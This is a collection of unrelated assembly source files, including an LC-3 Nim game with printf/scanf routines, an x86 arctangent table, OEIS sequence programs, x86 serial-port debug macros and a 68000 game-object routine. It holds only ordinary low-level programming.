ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #3
LDR R0, R0, #0
jsrr R0
ADD R7, R4, #6
ldr R7, R7, #0
ADD R3, R4, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #3
ldr R3, R3, #0
add R7, R7, R3
ADD R6, R6, #-1
STR R7, R6, #0
ADD R7, R4, #5
ldr R7, R7, #0
ADD R6, R6, #-1
STR R7, R6, #0
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #6
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #3
LDR R0, R0, #0
jsrr R0
lc3_L25_nim
ADD R0, R4, #15
ADD R0, R0, #1
LDR R0, R0, #0
JMP R0
lc3_L26_nim
lc3_L23_nim
STR R7, R5, #3
ADD R6, R5, #1
LDR R5, R6, #0
ADD R6, R6, #1
LDR R7, R6, #0
ADD R6, R6, #1
RET
;;;;;;;;;;;;;;;;;;;;;;;;;;;;main;;;;;;;;;;;;;;;;;;;;;;;;;;;;
main
ADD R6, R6, #-2
STR R7, R6, #0
ADD R6, R6, #-1
STR R5, R6, #0
ADD R5, R6, #-1
ADD R6, R6, #-1
ADD R0, R4, #15
ADD R0, R0, #11
LDR R0, R0, #0
JMP R0
lc3_L57_nim
ADD R0, R4, #15
ADD R0, R0, #0
LDR R0, R0, #0
jsrr R0
lc3_L58_nim
ADD R7, R4, #0
ldr R7, R7, #0
ADD R3, R4, #1
ldr R3, R3, #0
add R7, R7, R3
ADD R3, R4, #2
ldr R3, R3, #0
add R7, R7, R3
ADD R3, R4, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #12
ldr R3, R3, #0
NOT R7, R7
ADD R7, R7, #1
ADD R7, R7, R3
BRzp L64
ADD R7, R4, #15
ADD R7, R7, #10
LDR R7, R7, #0
jmp R7
L64
ADD R7, R4, #3
ldr R7, R7, #0
ADD R3, R4, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #13
ldr R3, R3, #0
NOT R7, R7
ADD R7, R7, #1
ADD R7, R7, R3
BRz L65
ADD R7, R4, #15
ADD R7, R7, #12
LDR R7, R7, #0
jmp R7
L65
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #5
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #3
LDR R0, R0, #0
jsrr R0
ADD R0, R4, #15
ADD R0, R0, #13
LDR R0, R0, #0
JMP R0
lc3_L60_nim
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #4
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #3
LDR R0, R0, #0
jsrr R0
lc3_L61_nim
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #12
ldr R7, R7, #0
lc3_L56_nim
STR R7, R5, #3
ADD R6, R5, #1
LDR R5, R6, #0
ADD R6, R6, #1
LDR R7, R6, #0
ADD R6, R6, #1
RET
; char getchar(void)
lc3_getchar
STR R7, R6, #-3
STR R0, R6, #-2
GETC
OUT
STR R0, R6, #-1
LDR R0, R6, #-2
LDR R7, R6, #-3
ADD R6, R6, #-1
RET
; void putchar(char)
lc3_putchar
STR R7, R6, #-3
STR R0, R6, #-2
LDR R0, R6, #0
OUT
LDR R0, R6, #-2
LDR R7, R6, #-3
ADD R6, R6, #-1
RET
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; void scanf(const char *format, ...)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
SCANF_PERCENT .FILL -37
SCANF_C .FILL -99
SCANF_D .FILL -100
SCANF_S .FILL -115
SCANF_0 .FILL -48
SCANF_9 .FILL -57
SCANF_MINUS .FILL -45
SCANF_BUF .BLKW 6
lc3_scanf
ADD R6, R6, #-2
STR R7, R6, #0
ADD R6, R6, #-1 ;save R5 = bp
STR R5, R6, #0
ADD R5, R6, #-1
ADD R6, R6, #-1 ;save R4 = gp
STR R4, R6, #0
ADD R5, R5, #4 ;cheating with the bp (no longer bp)
LDR R4, R5, #0 ;got addr of format string
SCANF_LOOP ;outer loop, R0=tmp register for use with GETC
;R2 holds either cur letter of format string or
;current addr to store a char, dec, or string
LDR R2, R4, #0
ADD R2, R2, #0 ;End of format string? (0x0000)
BRz SCANF_DONE
LD R1, SCANF_PERCENT
ADD R0, R2, #0
ADD R0, R0, R1
BRnp SCANF_MATCHCHAR ;% not found
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;% found!
ADD R4, R4, #1 ;R4 points to next char of format string
LDR R2, R4, #0
LD R1, SCANF_C
ADD R0, R2, #0 ;next char = c?
ADD R0, R0, R1
BRnp SCANF_CHECKD
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;%c found
ADD R5, R5, #1
LDR R2, R5, #0 ;R2 has addr for char to be read into
GETC
OUT
STR R0, R2, #0
ADD R4, R4, #1
BRnzp SCANF_LOOP
SCANF_CHECKD
;is it %d?
LD R1, SCANF_D
ADD R0, R2, #0
ADD R0, R0, R1
BRnp SCANF_STR
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;%d found
;consider using vars to store reg
;registers 0,1,2,3,7 available as tmp regs
ADD R6, R6, #-1 ;saving current ptr into format string
STR R4, R6, #0
;ADD R6, R6, #-7 ;making 7byte buffer for ascbin
;ADD R4, R6, #0 ;ptr into that buffer
LEA R4, SCANF_BUF
LD R2, SCANF_0
LD R1, SCANF_9
SCANF_SCANNUM
GETC
OUT
STR R0, R4, #0 ;Reading and storing typed char
ADD R0, R2, R0
BRZP SCANF_CHECKEDLOWER
LDR R0, R4, #0
LD R7, SCANF_MINUS
ADD R0, R0, R7
BRz SCANF_CHECKEDLOWER
LEA R0, SCANF_BUF
NOT R0, R0
ADD R0, R0, #1
ADD R0, R4, R0
BRz SCANF_SCANNUM ;buffer is empty and wrong char, go to error?
ADD R4, R4, #-1 ;fixme: need to save this char
BRnzp SCANF_NUMDONE
SCANF_CHECKEDLOWER
LDR R0, R4, #0
ADD R0, R1, R0
BRNZ SCANF_CHECKEDUPPER
LEA R0, SCANF_BUF
NOT R0, R0
ADD R0, R0, #1
ADD R0, R4, R0
BRz SCANF_SCANNUM ;buffer is empty and wrong char, go to error?
ADD R4, R4, #-1 ;fixme: need to save this char
BRnzp SCANF_NUMDONE
SCANF_CHECKEDUPPER
LEA R0, SCANF_BUF
ADD R0, R0, #5
NOT R0, R0
ADD R0, R0, #1
ADD R0, R4, R0
BRz SCANF_NUMDONE ;buffer is full
ADD R4, R4, #1
BRnzp SCANF_SCANNUM
SCANF_NUMDONE
;R4 points to last char entered in (ones digit)
;ADD R7, R6, #0 ;R7 points to the highest order digit
LEA R7, SCANF_BUF
LD R0, SCANF_MINUS
LD R1, SCANF_BUF
ADD R0, R0, R1
BRnp SCANF_NOTMINUS
ADD R7, R7, #1 ;fixme check for - -
SCANF_NOTMINUS
;STR R2, R6, #-1 ;psuedo stored -'0' on stack
AND R2, R2, #0 ;R2 acts as the acumulator
SCANF_CALC
LDR R0, R7, #0
;LDR R1, R6, #-1
LD R1, SCANF_0
ADD R0, R0, R1
ADD R2, R2, R0
NOT R1, R7
ADD R1, R1, #1
ADD R1, R4, R1
BRz SCANF_CALCDONE
;R2 = 10*R2
ADD R0, R2, #0
AND R1, R1, #0
ADD R1, R1, #9 ;R1 = counter
SCANF_MULLOOP
ADD R2, R2, R0
ADD R1, R1, #-1
BRnp SCANF_MULLOOP
ADD R7, R7, #1
BRnzp SCANF_CALC
SCANF_CALCDONE
LD R0, SCANF_MINUS
LD R1, SCANF_BUF
ADD R0, R0, R1
BRnp SCANF_NOTNEG
NOT R2, R2
ADD R2, R2, #1
SCANF_NOTNEG
ADD R5, R5, #1
LDR R0, R5, #0
STR R2, R0, #0 ;store decimal number into address
;ADD R6, R6, #7
LDR R4, R6, #0
ADD R6, R6, #1 ;restoring current ptr into format string
ADD R4, R4, #1 ;point to next element of format string
BRnzp SCANF_LOOP
SCANF_STR
LD R1, SCANF_S
ADD R0, R2, #0
ADD R0, R0, R1
BRnp SCANF_ERROR
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;%s found
ADD R6, R6, #-1 ;saving current ptr into format string
STR R4, R6, #0
ADD R5, R5, #1 ;getting starting addr of space for string to be read in
LDR R4, R5, #0
SCANSTRLOOP
GETC
OUT
STR R0, R4, #0 ;Reading and storing typed char
ADD R4, R4, #1
ADD R0, R0, #-10 ;End of string? Looking for CR (0x000A)
BRnp SCANSTRLOOP
SCANSTRDONE
AND R0, R0, #0 ;null terminate string
STR R0, R4, #-1
LDR R4, R6, #0 ;restore r4
ADD R6, R6, #1
ADD R4, R4, #1
BRnzp SCANF_LOOP
SCANF_MATCHCHAR
ADD R4, R4, #1
GETC
OUT
NOT R0, R0
ADD R0, R0, #1
ADD R0, R0, R2
BRz SCANF_LOOP
SCANF_ERROR
SCANF_DONE
LDR R4, R6, #0 ;restore R4
ADD R6, R6, #1
LDR R5, R6, #0 ;restore bp
ADD R6, R6, #1
LDR R7, R6, #0 ;restore ret addr
ADD R6, R6, #1
RET
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; void printf(const char *format, ...)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PRINTF_PERCENT .FILL -37
PRINTF_C .FILL -99
PRINTF_D .FILL -100
PRINTF_S .FILL -115
PRINTF_B .FILL -98
PRINTF_O .FILL -111
PRINTF_X .FILL -120
PRINTF_ASCII .FILL 48 ;postive ascii value of '0'
.FILL 49
.FILL 50
.FILL 51
.FILL 52
.FILL 53
.FILL 54
.FILL 55
.FILL 56
.FILL 57
.FILL 65 ;A
.FILL 66
.FILL 67
.FILL 68
.FILL 69
.FILL 70
PRINTF_MINUS .FILL 45
PRINTF_BUF .BLKW 18
lc3_printf
ADD R6, R6, #-2
STR R7, R6, #0 ;return address
ADD R6, R6, #-1
STR R5, R6, #0
ADD R5, R6, #-1
ADD R6, R6, #-1
STR R4, R6, #0
ADD R5, R5, #4 ;cheating with the bp (no longer bp)
LDR R4, R5, #0 ;got addr of format string
PRINTF_LOOP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
LDR R0, R4, #0
ADD R0, R0, #0 ;End of string? (0x0000)
BRz PRINTF_DONE
ADD R2, R0, #0
LD R1, PRINTF_PERCENT
ADD R2, R2, R1
BRnp PRINTF_CHAR
ADD R4, R4, #1
LDR R0, R4, #0
;is it %c?
ADD R2, R0, #0
LD R3, PRINTF_C
ADD R2, R2, R3
BRnp PRINTF_CHECKSTR
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;%c
ADD R5, R5, #1
LDR R0, R5, #0
PRINTF_CHAR
OUT
ADD R4, R4, #1
BRnzp PRINTF_LOOP
PRINTF_CHECKSTR
;is it %s?
ADD R2, R0, #0
LD R7, PRINTF_S
ADD R2, R2, R7
BRnp PRINTF_CHECKDEC
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;%s
ADD R5, R5, #1
LDR R0, R5, #0
PUTS
ADD R4, R4, #1
BRnzp PRINTF_LOOP
PRINTF_CHECKDEC
;is it %d?
ADD R2, R0, #0
LD R7, PRINTF_D
ADD R2, R2, R7
;BRnp PRINTF_ERROR
BRnp PRINTF_CHECKHEX
AND R2, R2, #0
ADD R2, R2, #-10 ;going to divide by 10 by using sub loop
BRnzp PRINTF_NUM
PRINTF_CHECKHEX
ADD R2, R0, #0
LD R7, PRINTF_X
ADD R2, R2, R7
BRnp PRINTF_CHECKOCT
AND R2, R2, #0
ADD R2, R2, #-16 ;going to divide by 10 by using sub loop
BRnzp PRINTF_NUM
PRINTF_CHECKOCT
ADD R2, R0, #0
LD R7, PRINTF_O
ADD R2, R2, R7
BRnp PRINTF_CHECKBIN
AND R2, R2, #0
ADD R2, R2, #-8 ;going to divide by 10 by using sub loop
BRnzp PRINTF_NUM
PRINTF_CHECKBIN
ADD R2, R0, #0
LD R7, PRINTF_B
ADD R2, R2, R7
BRnp PRINTF_ERROR
AND R2, R2, #0
ADD R2, R2, #-2 ;going to divide by 10 by using sub loop
;BRnzp PRINTF_NUM
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;%d
PRINTF_NUM
LEA R7, PRINTF_BUF
ADD R7, R7, #15
ADD R7, R7, #1
;AND R2, R2, #0
;ADD R2, R2, #-10 ;going to divide by 10 by using sub loop
ADD R5, R5, #1 ;acquire the binary number
LDR R0, R5, #0
ADD R0, R0, #0
BRzp PRINTF_DECPOS
NOT R0, R0 ;make num positive for sub loop
ADD R0, R0, #1
PRINTF_DECPOS
AND R3, R3, #0
ADD R3, R3, #-1
PRINTF_DIVLOOP
ADD R3, R3, #1 ;num/10
ADD R0, R0, R2 ;R0 = num % 10 - 10
BRzp PRINTF_DIVLOOP
ADD R3, R3, #0
BRz PRINTF_LASTDIGIT
;LD R1, PRINTF_ASCII
;ADD R1, R1, R0
;NOT R2, R2
;ADD R1, R1, R2
;ADD R1, R1, #1
;NOT R2, R2
;;;;;ADD R1, R1, #10
;STR R1, R7, #0
;ADD R7, R7, #-1 ;stored ascii value of one digit
LEA R1, PRINTF_ASCII
ADD R1, R1, R0
NOT R2, R2
ADD R1, R1, R2
ADD R1, R1, #1
NOT R2, R2
LDR R1, R1, #0
STR R1, R7, #0
ADD R7, R7, #-1 ;stored ascii value of one digit
ADD R0, R3, #0 ;num/10
BRnzp PRINTF_DECPOS
PRINTF_LASTDIGIT
;LD R1, PRINTF_ASCII
;ADD R1, R1, R0
;ADD R1, R1, #10
;STR R1, R7, #0
LEA R1, PRINTF_ASCII
ADD R1, R1, R0
NOT R2, R2
ADD R1, R1, R2
ADD R1, R1, #1
NOT R2, R2
LDR R1, R1, #0
STR R1, R7, #0 ;stored ascii value of highest order digit
LDR R0, R5, #0
ADD R0, R0, #0
BRzp PRINTF_DECSTRING
LD R0, PRINTF_MINUS ;num was negative
ADD R7, R7, #-1
STR R0, R7, #0 ;stored ascii value negative sign
PRINTF_DECSTRING ;print the calculated string
ADD R0, R7, #0
PUTS
ADD R4, R4, #1
BRnzp PRINTF_LOOP
PRINTF_ERROR
PRINTF_DONE
LDR R4, R6, #0 ;restore R4
ADD R6, R6, #1
LDR R5, R6, #0 ;restore bp
ADD R6, R6, #1
LDR R7, R6, #0 ;restore ret addr
ADD R6, R6, #1
RET
GLOBAL_DATA_START
rowA .FILL #3
rowB .FILL #5
rowC .FILL #8
player .FILL #1
i .FILL #0
row .FILL #0
num .FILL #0
printInfo .FILL lc3_printInfo
L4_nim .FILL lc3_L4_nim
L5_nim .FILL lc3_L5_nim
L11_nim .FILL lc3_L11_nim
L12_nim .FILL lc3_L12_nim
L16_nim .FILL lc3_L16_nim
L17_nim .FILL lc3_L17_nim
L1_nim .FILL lc3_L1_nim
step .FILL lc3_step
L24_nim .FILL lc3_L24_nim
L27_nim .FILL lc3_L27_nim
L28_nim .FILL lc3_L28_nim
L32_nim .FILL lc3_L32_nim
L36_nim .FILL lc3_L36_nim
L40_nim .FILL lc3_L40_nim
L25_nim .FILL lc3_L25_nim
L26_nim .FILL lc3_L26_nim
L23_nim .FILL lc3_L23_nim
L57_nim .FILL lc3_L57_nim
L58_nim .FILL lc3_L58_nim
L60_nim .FILL lc3_L60_nim
L61_nim .FILL lc3_L61_nim
L56_nim .FILL lc3_L56_nim
getchar .FILL lc3_getchar
putchar .FILL lc3_putchar
scanf .FILL lc3_scanf
printf .FILL lc3_printf
L63_nim .STRINGZ "Player 2 Wins.\n"
L62_nim .STRINGZ "Player 1 Wins.\n"
L45_nim .STRINGZ "Get row: %c, num: %c\n"
L44_nim .STRINGZ "Invalid move. Try again.\n"
L43_nim .STRINGZ "\n"
L42_nim .FILL #67
L39_nim .STRINGZ "\n"
L38_nim .FILL #66
L35_nim .STRINGZ "\n"
L34_nim .FILL #65
L31_nim .FILL #48
L30_nim .STRINGZ "Player 2, choose a row and number of rocks: "
L29_nim .STRINGZ "Player 1, choose a row and number of rocks: "
L19_nim .STRINGZ "\n"
L15_nim .STRINGZ "ROW C: "
L14_nim .STRINGZ "\n"
L10_nim .STRINGZ "ROW B: "
L9_nim .STRINGZ "\n"
L7_nim .FILL #111
L3_nim .FILL #0
L8_nim .FILL #1
L2_nim .STRINGZ "ROW A: "
.END
|
SECTION code_fcntl
PUBLIC __fcntl_fdchain_descend
__fcntl_fdchain_descend:
; descend the fdstruct chain
;
; enter : ix = FDSTRUCT *
;
; exit : success
;
; ix = de = next FDSTRUCT *
; nz flag set
;
; fail if cannot descend
;
; ix unchanged
; z flag set
;
; uses : af, de, ix
bit 7,(ix+6)
ret z ; if cannot descend
; filter fdstruct
xor a ; filters are not implemented yet
ret
|
; public domain!!
; Atan8[n] = atan( n/256 ) * 128 / pi
; 0 <= n <= 256
;
; Revision History:
; 92/7/29 A.Koizuka
; 93/ 5/29 [M0.18] .CONST->.DATA
;
.MODEL SMALL
.DATA
public AtanTable8,_AtanTable8
_AtanTable8 label byte
AtanTable8 db 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2
db 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 5, 5, 5
db 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7
db 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9,10,10,10
db 10,10,10,10,11,11,11,11, 11,11,11,12,12,12,12,12
db 12,12,13,13,13,13,13,13, 13,14,14,14,14,14,14,14
db 15,15,15,15,15,15,15,16, 16,16,16,16,16,16,17,17
db 17,17,17,17,17,17,18,18, 18,18,18,18,18,19,19,19
db 19,19,19,19,19,20,20,20, 20,20,20,20,20,21,21,21
db 21,21,21,21,21,21,22,22, 22,22,22,22,22,22,23,23
db 23,23,23,23,23,23,23,24, 24,24,24,24,24,24,24,24
db 25,25,25,25,25,25,25,25, 25,25,26,26,26,26,26,26
db 26,26,26,27,27,27,27,27, 27,27,27,27,27,28,28,28
db 28,28,28,28,28,28,28,28, 29,29,29,29,29,29,29,29
db 29,29,29,30,30,30,30,30, 30,30,30,30,30,30,31,31
db 31,31,31,31,31,31,31,31, 31,31,32,32,32,32,32,32
END
|
; A341581: Number of steps needed to move the largest disk out from a stack of n disks in the Towers of Hanoi exchanging disks puzzle with 3 pegs.
; Submitted by Christian Krause
; 0,1,2,5,10,20,37,70,130,243,450,836,1549,2874,5326,9875,18302,33928,62885,116566,216058,400483,742314,1375932,2550365,4727266,8762262,16241395,30104390,55800320,103429237,191712350,355350370,658663363,1220872210,2262960276,4194533229,7774820234,14411097886,26711838675,49512003022,91773482168,170107680965,315304840486,584436527498,1083288332323,2007940221754,3721838235052,6898651511805,12787066411506,23701598366822,43932341248435,81431242638870,150937716710320,279772156082837,518574555290030
mov $5,1
lpb $0
sub $0,1
mov $1,$5
add $3,$5
add $1,$3
mul $1,2
add $2,1
add $4,$5
mov $5,$3
add $5,$2
mov $2,$3
add $2,$4
mov $3,$5
sub $3,$1
lpe
mov $0,$5
sub $0,1
|
/*
* Put a character to the serial port
*/
.macro PUTC, char
push %eax // save
push %edx
mov $0x3fd, %edx // control register for com1
1: in (%dx), %al // read status into AL
test $0x20, %al // check for ready
je 1b // keep trying
mov $0x3f8, %edx // data register for com1
mov \char, %al // output character
out %al, (%dx)
pop %edx // restore
pop %eax
.endm
.macro OUTSP
PUTC $0x20
.endm
.macro OUTNL
PUTC $0x0a
PUTC $0x0d
.endm
.macro OUT0
PUTC $0x30
.endm
.macro OUT1
PUTC $0x31
.endm
.macro OUT2
PUTC $0x32
.endm
.macro OUT3
PUTC $0x33
.endm
.macro OUT4
PUTC $0x34
.endm
.macro OUT5
PUTC $0x35
.endm
.macro OUT6
PUTC $0x36
.endm
.macro OUT7
PUTC $0x37
.endm
.macro OUT8
PUTC $0x38
.endm
.macro OUT9
PUTC $0x39
.endm
.macro OUTA
PUTC $0x41
.endm
.macro OUTB
PUTC $0x42
.endm
.macro OUTC
PUTC $0x43
.endm
.macro OUTD
PUTC $0x44
.endm
.macro OUTE
PUTC $0x45
.endm
.macro OUTF
PUTC $0x46
.endm
.macro OUTG
PUTC $0x47
.endm
.macro OUTH
PUTC $0x48
.endm
.macro OUTI
PUTC $0x49
.endm
.macro OUTJ
PUTC $0x4a
.endm
.macro OUTK
PUTC $0x4b
.endm
.macro OUTL
PUTC $0x4c
.endm
.macro OUTM
PUTC $0x4d
.endm
.macro OUTN
PUTC $0x4e
.endm
.macro OUTO
PUTC $0x4f
.endm
.macro OUTP
PUTC $0x50
.endm
.macro OUTQ
PUTC $0x51
.endm
.macro OUTR
PUTC $0x52
.endm
.macro OUTS
PUTC $0x53
.endm
.macro OUTT
PUTC $0x54
.endm
.macro OUTU
PUTC $0x55
.endm
.macro OUTV
PUTC $0x56
.endm
.macro OUTW
PUTC $0x57
.endm
.macro OUTX
PUTC $0x58
.endm
.macro OUTY
PUTC $0x59
.endm
.macro OUTZ
PUTC $0x5a
.endm
/*
* Convert byte in AL to ascii equivalent in AX, e.g., 0x31 -> 0x3331 which is '3' '1'
*/
.globl alto_hex
alto_hex:
mov %al, %ah // duplicate low byte 0x0031 -> 0x3131
and $0x0f, %al // keep only low nibble of low byte 0x3131 -> 0x3101
shr $4, %ah // shift right to access high nibble 0x3101 -> 0x0301
and $0x0f, %ah // keep only low nibble 0x0301 -> 0x0301 same?
low:
cmp $0xa, %al
jge lowletter // 0x030x, x is a-f
lowdigit:
add $0x30, %al // add '0' 0x030x -> 0x033x
jmp high
lowletter:
add $0x37, %al // add 'a' - 10
high:
cmp $0xa, %ah
jge highletter
highdigit:
add $0x30, %ah // add '0'
ret
highletter:
add $0x37, %ah // add 'a' - 10
ret
/*
* Write a single char in AL to the console
*/
.global outcom1_single_char
outcom1_single_char:
push %edx
push %eax // save as we use AL temporarily below
mov $0x3fd, %edx // control register for com1
2: in (%dx), %al // read status into AL
test $0x20, %al // check for ready
je 2b // keep trying
mov $0x3f8, %edx // data register for com1
pop %eax // retore
out %al, (%dx)
pop %edx // restore
ret
/*
* Put 2 chars to the serial port, describing AL the bottom byte of EAX
*/
.globl outcom1_two_chars_al
outcom1_two_chars_al:
push %eax // save
call alto_hex // AL value is now as ascii, so 0x30 is AH 3 AL 0
ror $8, %ax // swap, so AL is now '3' and AH as '0'
call outcom1_single_char // put '3'
ror $8, %ax // swap back
call outcom1_single_char // put '0'
pop %eax // restore
ret
/*
* Put 4 chars to the serial port, describing AX the bottom word of EAX
*/
.globl outcom1_ax
outcom1_ax:
push %eax // save
ror $8, %ax // rotate bytes so the order on the console is correct
call outcom1_two_chars_al
ror $8, %ax // rotate bytes so the order on the console is correct
call outcom1_two_chars_al
pop %eax // restore
ret
/*
* Put 8 chars to the serial port, describing AL the bottom long of RAX
*/
.globl outcom1_eax_8_chars
outcom1_eax_8_chars:
push %eax // save
ror $16, %eax // rotate words so chars appear in the expected ordef
call outcom1_ax
ror $16, %eax // rotate words so chars appear in the expected ordef
call outcom1_ax
pop %eax // restore
ret
.globl outcom1_eax
outcom1_eax:
push %eax // save
OUTE
OUTA
OUTX
OUTSP
call outcom1_eax_8_chars
OUTSP
pop %eax // restore
ret
.globl outcom1_ebx
outcom1_ebx:
push %eax // save
OUTE
OUTB
OUTX
OUTSP
mov %ebx, %eax
call outcom1_eax_8_chars
OUTSP
pop %eax // restore
ret
.globl outcom1_ecx
outcom1_ecx:
push %eax // save
OUTE
OUTC
OUTX
OUTSP
mov %ecx, %eax
call outcom1_eax_8_chars
OUTSP
pop %eax // restore
ret
.globl outcom1_edx
outcom1_edx:
push %eax // save
OUTE
OUTD
OUTX
OUTSP
mov %edx, %eax
call outcom1_eax_8_chars
OUTSP
pop %eax // restore
ret
.globl geteip
geteip:
mov (%esp), %eax
ret
.globl outcom1_eip
outcom1_eip:
push %eax // save
OUTE
OUTI
OUTP
OUTSP
call geteip
call outcom1_eax_8_chars
OUTSP
pop %eax // restore
ret
.globl outcom1_ebp
outcom1_ebp:
push %eax // save
OUTE
OUTB
OUTP
OUTSP
mov %ebp, %eax
call outcom1_eax_8_chars
OUTSP
pop %eax // restore
ret
.globl outcom1_esp
outcom1_esp:
push %eax // save
OUTE
OUTS
OUTP
OUTSP
mov %esp, %eax
call outcom1_eax_8_chars
OUTSP
pop %eax // restore
ret
.globl outcom1_regs
outcom1_regs:
OUTR
OUTE
OUTG
OUTS
OUTSP
call outcom1_eax
call outcom1_ebx
call outcom1_ecx
call outcom1_edx
call outcom1_eip
call outcom1_esp
call outcom1_ebp
OUTNL
ret
.globl putaxtest
putaxtest:
push %eax // save
mov $0x12345678, %eax
call outcom1_eax_8_chars
OUTSP
mov $0x00000011, %eax
call outcom1_eax_8_chars
OUTSP
mov $0x00001100, %eax
call outcom1_eax_8_chars
OUTSP
mov $0x00110000, %eax
call outcom1_eax_8_chars
OUTSP
mov $0x11000000, %eax
call outcom1_eax_8_chars
OUTSP
mov $0x000000aa, %eax
call outcom1_eax_8_chars
OUTSP
mov $0x0000aa00, %eax
call outcom1_eax_8_chars
OUTSP
mov $0x00aa0000, %eax
call outcom1_eax_8_chars
OUTSP
mov $0xaa000000, %eax
call outcom1_eax_8_chars
OUTSP
mov $0x123456aa, %eax
call outcom1_eax_8_chars
OUTSP
mov $0x1234aa56, %eax
call outcom1_eax_8_chars
OUTSP
mov $0x12aa3456, %eax
call outcom1_eax_8_chars
OUTSP
mov $0xaa123456, %eax
call outcom1_eax_8_chars
OUTSP
pop %eax // restore
ret
.globl neiltest
neiltest:
OUTN
OUTE
OUTI
OUTL
OUTSP
call putaxtest
OUTNL
call outcom1_regs
OUTNL
ret
|
; ---------------------------------------------------------------------------
; Object 70 - large girder block (SBZ)
; ---------------------------------------------------------------------------
Girder:
moveq #0,d0
move.b obRoutine(a0),d0
move.w Gird_Index(pc,d0.w),d1
jmp Gird_Index(pc,d1.w)
; ===========================================================================
Gird_Index: dc.w Gird_Main-Gird_Index
dc.w Gird_Action-Gird_Index
gird_height: equ $16
gird_origX: equ $32 ; original x-axis position
gird_origY: equ $30 ; original y-axis position
gird_time: equ $34 ; duration for movement in a direction
gird_set: equ $38 ; which movement settings to use (0/8/16/24)
gird_delay: equ $3A ; delay for movement
; ===========================================================================
Gird_Main: ; Routine 0
addq.b #2,obRoutine(a0)
move.l #Map_Gird,obMap(a0)
move.w #$42F0,obGfx(a0)
ori.b #4,obRender(a0)
move.b #4,obPriority(a0)
move.b #$60,obActWid(a0)
move.b #$18,gird_height(a0)
move.w obX(a0),gird_origX(a0)
move.w obY(a0),gird_origY(a0)
bsr.w Gird_ChgMove
Gird_Action: ; Routine 2
move.w obX(a0),-(sp)
tst.w gird_delay(a0)
beq.s @beginmove
subq.w #1,gird_delay(a0)
bne.s @solid
@beginmove:
jsr (SpeedToPos).l
subq.w #1,gird_time(a0) ; decrement movement duration
bne.s @solid ; if time remains, branch
bsr.w Gird_ChgMove ; if time is zero, branch
@solid:
move.w (sp)+,d4
tst.b obRender(a0)
bpl.s @chkdel
moveq #0,d1
move.b obActWid(a0),d1
addi.w #$B,d1
moveq #0,d2
move.b gird_height(a0),d2
move.w d2,d3
addq.w #1,d3
bsr.w SolidObject
@chkdel:
out_of_range.s @delete,gird_origX(a0)
jmp (DisplaySprite).l
@delete:
jmp (DeleteObject).l
; ===========================================================================
Gird_ChgMove:
move.b gird_set(a0),d0
andi.w #$18,d0
lea (@settings).l,a1
lea (a1,d0.w),a1
move.w (a1)+,obVelX(a0)
move.w (a1)+,obVelY(a0)
move.w (a1)+,gird_time(a0)
addq.b #8,gird_set(a0) ; use next settings
move.w #7,gird_delay(a0)
rts
; ===========================================================================
@settings: ; x-speed, y-speed, duration
dc.w $100, 0, $60, 0 ; right
dc.w 0, $100, $30, 0 ; down
dc.w -$100, -$40, $60, 0 ; up/left
dc.w 0, -$100, $18, 0 ; up
|
; A084056: a(n) = -a(n-1) + a(n-2) + a(n-3), with a(0)=0, a(1)=1, a(2)=-3.
